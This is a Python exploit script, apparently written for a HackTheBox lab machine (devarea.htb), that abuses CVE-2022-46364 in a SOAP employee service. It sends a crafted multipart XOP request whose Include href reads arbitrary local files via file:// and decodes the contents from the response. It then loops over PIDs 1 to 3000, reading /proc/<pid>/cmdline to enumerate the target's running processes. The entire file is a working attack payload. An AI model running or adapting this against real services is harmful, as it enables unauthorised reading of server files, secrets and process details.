import requests
import argparse
import base64
import sys
import os
from concurrent.futures import ThreadPoolExecutor, as_completed

vuln_url = 'http://devarea.htb:8080//employeeservice'

def exploit(file_path):
    # The boundary must match the one used in the Content-Type header
    boundary = "boundary"

    headers = {
        "Content-Type": f'multipart/related; type="application/xop+xml"; start="<rootpart>"; boundary="{boundary}"',
        "SOAPAction": '""',
    }

    body = (
        f"--{boundary}\r\n"
        "Content-Type: application/xop+xml; charset=UTF-8\r\n"
        "Content-Transfer-Encoding: 8bit\r\n"
        "Content-ID: <rootpart>\r\n"
        "\r\n"
        '<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:dev="http://devarea.htb/">\r\n'
        "   <soapenv:Body>\r\n"
        "      <dev:submitReport>\r\n"
        "         <arg0>\r\n"
        f'            <content><xop:Include xmlns:xop="http://www.w3.org/2004/08/xop/include" href="file://{file_path}"/></content>\r\n'
        "         </arg0>\r\n"
        "      </dev:submitReport>\r\n"
        "   </soapenv:Body>\r\n"
        "</soapenv:Envelope>\r\n"
        f"--{boundary}--\r\n"
    )

    response = requests.post(vuln_url, headers=headers, data=body, timeout=10)
    base64_data = response.text.split("Content: ")[1].split('</return>')[0]
    if not base64_data:
        return None
    file_content = base64.b64decode(base64_data)
    return file_content


def enum_cmdline(pid):
    cmdline = exploit(f"/proc/{pid}/cmdline")
    if not cmdline:
        return None
    decoded = cmdline.replace(b'\x00', b' ').decode(errors="replace").strip()
    return pid, decoded



def render_progress(done, total, width=40):
    if total <= 0:
        return "[----------------------------------------] 0/0 (0.0%)"
    ratio = done / total
    filled = int(width * ratio)
    bar = "#" * filled + "-" * (width - filled)
    return f"[{bar}] {done}/{total} ({ratio * 100:.1f}%)"


def print_with_progress(message, progress_line):
    # Clear the progress line, print message, then redraw progress at bottom.
    print("\r\033[K", end="")
    print(message)
    print(f"\r{progress_line}", end="", flush=True)

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="Enumerate processes on the target system using CVE-2022-46364")
    parser.add_argument('--end_pid', type=int, default=3000, help="The maximum PID to enumerate (default: 3000)")
    args = parser.parse_args()
    total_pids = args.end_pid

    done = 0
    progress_line = render_progress(done, total_pids)
    print(progress_line, end="", flush=True)

    max_workers = 20
    with ThreadPoolExecutor(max_workers=max_workers) as executor:
        futures = [executor.submit(enum_cmdline, pid) for pid in range(1, total_pids + 1)]
        for future in as_completed(futures):
            result = future.result()
            done += 1
            progress_line = render_progress(done, total_pids)
            if result:
                message = f'PID {result[0]}: {result[1]}'
                print_with_progress(message, progress_line)
            else:
                print(f"\r{progress_line}", end="", flush=True)

    print()

    
